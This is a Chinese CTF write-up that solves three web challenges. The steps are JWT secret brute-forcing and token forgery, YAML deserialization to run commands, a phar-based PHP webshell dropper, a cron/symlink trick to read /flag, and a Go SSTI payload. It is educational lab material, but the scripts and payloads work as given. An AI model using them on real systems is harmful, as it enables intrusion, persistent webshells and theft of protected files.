湾区杯web全解

ez_python

打开页面源代码,发现了一个/auth路由
获得一段token,解码之后,发现是user权限,而想要执行yaml反序列化,即进入/sandbox路由,需要admin的jwt鉴权
这个时候如何提权呢?
我们抓包时,随便改了改给的token,发现题目的回显多了个hint
告诉我们,密钥是

1
@o70xO$0%#qR9#**,末尾两个是字母和数字

那么很清晰,准备爆破,生成了一个@o70xO$0%#qR9#a0样式的字典full_dictionary.txt
将获得的token爆破
脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import jwt

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E" # 题目中的 token
password_file = "./full_dictionary.txt" # 枚举密码字典文件

with open(password_file,'rb') as file:
for line in file:
line = line.strip() # 去除每行后面的换行
try:
jwt.decode(token, verify=True, key=line, algorithms="HS256") # 设置编码方式为 HS256
print('key: ', line.decode('utf-8'))
break
except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError
, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError,
jwt.exceptions.ImmatureSignatureError): # 出现这些错误,虽然表示过期之类的错误,但是密钥是正确的
print("key: ", line.decode('utf-8'))
break
except jwt.exceptions.InvalidSignatureError: # 签名错误则表示密钥不正确
print("Failed: ", line.decode('utf-8'))
continue
else:
print("Not Found.")

几秒内就ok了,获得密钥
@o70xO$0%#qR9#m0
伪造token,获得
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.-Ws9e4GwaL0hesqjmSuOKNmyximBStder-7VnXK0w70
抓包替换即可进入/sandbox路由进行yaml反序列化
传入yaml格式的文件即

1
2
!!python/object/apply:subprocess.check_output
- ["ls", "/"]


知道flag路径
再读取即可

flag{MDy0CDZNuOrq7I0To5bofBy0tdfdVHw8}

easy_readfile

有一说一(),是我第二次怀疑就没做了的题了

传马

题目源码简直如出一辙,和某次比赛的phar反序列化题,甚至更简单,不用对phar文件进行字符替换并重签名,当我信心满满复现时,原生类完美找到了/flag,再信心慢慢打算原生类读取/flag时,发现提示,权限不足,这咋的还是提权题?
到这,这道题就面目全非了,一眼看去没有RCE的点,但是结合phar邂逅include,我们知道,有一个简单的方法可以上马,详细可见Lilctf复现的那篇文章(其实也没有很详细)
流程简单说一下吧()
第一步,生成生成一句话木马的phar文件,具体即

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$phar = new Phar('phar.phar');
$phar->startBuffering();

$stub = <<<'STUB'
<?php
$cmd='<?php eval($_POST[cmd]); ?>';
file_put_contents("shell.php",$cmd);
__HALT_COMPILER();
?>
STUB;
$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>

这里注意用单引号包裹噢
生成phar.phar,并gzip压缩
然后用python进行文件读取并url编码

1
2
3
4
5
import urllib.parse
with open("/home/sheep/phartest/phar.phar.gz", 'rb') as fi:
f = fi.read()
ff = urllib.parse.quote(f) #获取信息
print(ff)
1
%1F%8B%08%08%2A%82%BEh%00%03phar.phar%00%B3%B1/%C8%28%E0R%00%02%95%E4%DC%14%5Bu%1B%10_%21%B5%2C1GC%25%3E%C0%3F8%24%1A%28%1C%ABi%AD%60o%A7n%0DV%97%96%99%93%1A_PZ%12%9F%9C%9FW%92%9AWR%AC%A1T%9C%91%9A%93%A3%07%D4%A8%A4%032E%13%A20%3E%DE%C3%D1%27%24%DE%D9%DF7%C0%D3%C75H%03l%08/%97%19%03%03%03%23%10%0BBi%08%E0%00%E2%92%D4%E2%12%BD%92%8A%12%16%20%5B%ABi_%06%88%E6%A9%AB%BF%B1%04%AA%0C%24%DF3%A5%E5%B5%16C%DB2%E9%C3%F9i%1B%AE%9C%FEa%F1q%EA%12%26%A0%9C%BB%93%AF%13%00%F67%01%E4%CC%00%00%00

然后抓包,上传文件,这个就不具体说了,然后再include读取这个文件(开始直接放弃这个是因为瞥见路径md5了,我勒个,后面就忘了这一茬)
include包含之后检测到.phar,会自动解压,再包含就执行了php代码,传入了webshell
其实这里暗示了,比毕竟原题是xxx.jpg,而这里是xxx.phar(必须含有.phar这个部分,哪怕是路径),完美符合include与phar文件邂逅的要求
详细真的很推荐大家读一读这位大佬的文章,甚至自己跟着去理解一下源码实现
fushuling

提权

传马之后用蚁剑连接,可进入终端,开始一系列操作
果然发现根目录的flag文件需要提权获得
同时在根目录下发现了一个.sh文件,读取之后发现有定时任务

1
2
3
4
5
6
7
#!/bin/bash
cd /var/www/html/
while :
do
cp -P * /var/www/html/backup/
chmod 755 -R /var/www/html/backup/
sleep 10

没事不会随便弄一个backup目录吧?
这里可以用软链接去读
具体实现就是
在html目录放置一个软链接到/flag
等待定时任务将它放进backup
然后进行读取即可
实际上试了很多遍还是没有权限,结果队友的成功了,也是一头雾水上了()

ssti

也是java应激上了,实则啥也不懂()
原来这是一道go的简单SSTI注入问题
先用{{.}}探测,后端返回

1
map{xxxxxx}

里面是两个函数
exec与B64Decode俩函数
确实还是没学过go,原来payload是这样

1
{{exec(B64Decode("Y2F0IC9mbGFn"))}}

成功读取flag